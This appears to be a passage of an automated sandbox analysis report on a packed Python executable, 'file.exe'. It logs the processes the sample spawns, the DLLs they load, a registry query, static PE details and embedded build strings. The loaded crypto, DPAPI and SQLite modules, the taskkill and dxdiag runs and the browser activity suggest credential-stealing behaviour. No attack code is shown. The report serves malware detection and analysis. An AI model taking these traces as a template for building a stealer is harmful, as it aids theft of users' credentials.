Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --no-sandbox --mojo-platform-channel-handle=5308 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --mojo-platform-channel-handle=5412 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=5760 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=5760 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --no-sandbox --message-loop-type-ui --mojo-platform-channel-handle=2540 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pywintypes313.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dxdiagn.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d12.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: wmiclnt.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dsound.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: devrtl.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: spinf.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: drvstore.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: spfileq.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: wifidisplay.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: mfplat.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: rtworkq.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: mf.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: mfcore.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: mfsensorgroup.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: comppkgsup.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: windows.media.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: windows.applicationmodel.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dispbroker.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d12core.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dxilconv.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3dscache.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: mscat32.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: ddraw.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: hid.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: quartz.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll

Source: C:\Windows\System32\dxdiag.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A65B8071-3BFE-4213-9A5B-491DA4461CA7}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 13960143 > 1048576

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: file.exe, 00000001.00000002.2149200604.00007FFDFB19A000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: file.exe, 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\pywin32\pywin32\build\temp.win-amd64-cpython-313\Release\pywintypes.pdb** source: file.exe, 00000001.00000002.2152957100.00007FFE0C0B1000.00000002.00000001.01000000.0000002C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb(('GCTL source: file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159684612.00007FFE130C4000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: file.exe, 00000000.00000003.1687009658.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2160311288.00007FFE13314000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: file.exe, 00000001.00000002.2149200604.00007FFDFB102000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: file.exe, 00000000.00000003.1687009658.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2160311288.00007FFE13314000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: file.exe, 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: file.exe, 00000001.00000002.2149200604.00007FFDFB19A000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\pywin32\pywin32\build\temp.win-amd64-cpython-313\Release\win32crypt.pdb!! source: file.exe, 00000001.00000002.2153158919.00007FFE0CFA2000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: file.exe, 00000000.00000003.1687157131.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159486915.00007FFE12E15000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2158289464.00007FFE11EA3000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\pywin32\pywin32\build\temp.win-amd64-cpython-313\Release\pywintypes.pdb source: file.exe, 00000001.00000002.2152957100.00007FFE0C0B1000.00000002.00000001.01000000.0000002C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2158792768.00007FFE120C6000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159238918.00007FFE126EB000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: file.exe, 00000001.00000002.2158536684.00007FFE11ED2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159032410.00007FFE126C3000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\pywin32\pywin32\build\temp.win-amd64-cpython-313\Release\win32crypt.pdb source: file.exe, 00000001.00000002.2153158919.00007FFE0CFA2000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159238918.00007FFE126EB000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159881473.00007FFE1320D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159684612.00007FFE130C4000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2157666533.00007FFE11519000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: file.exe, 00000001.00000002.2156747532.00007FFE1030F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: file.exe, 00000001.00000002.2150063973.00007FFDFB668000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: file.exe, 00000000.00000003.1687157131.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159486915.00007FFE12E15000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: file.exe, 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: file.exe, 00000001.00000002.2156461817.00007FFE1024E000.00000002.00000001.01000000.00000012.sdmp

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: VCRUNTIME140.dll.0.dr

Static PE information: 0x78BDDED1 [Sat Mar 11 17:01:05 2034 UTC]

Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.0.dr	Static PE information: section name: .00cfg
Source: python313.dll.0.dr	Static PE information: section name: PyRuntim

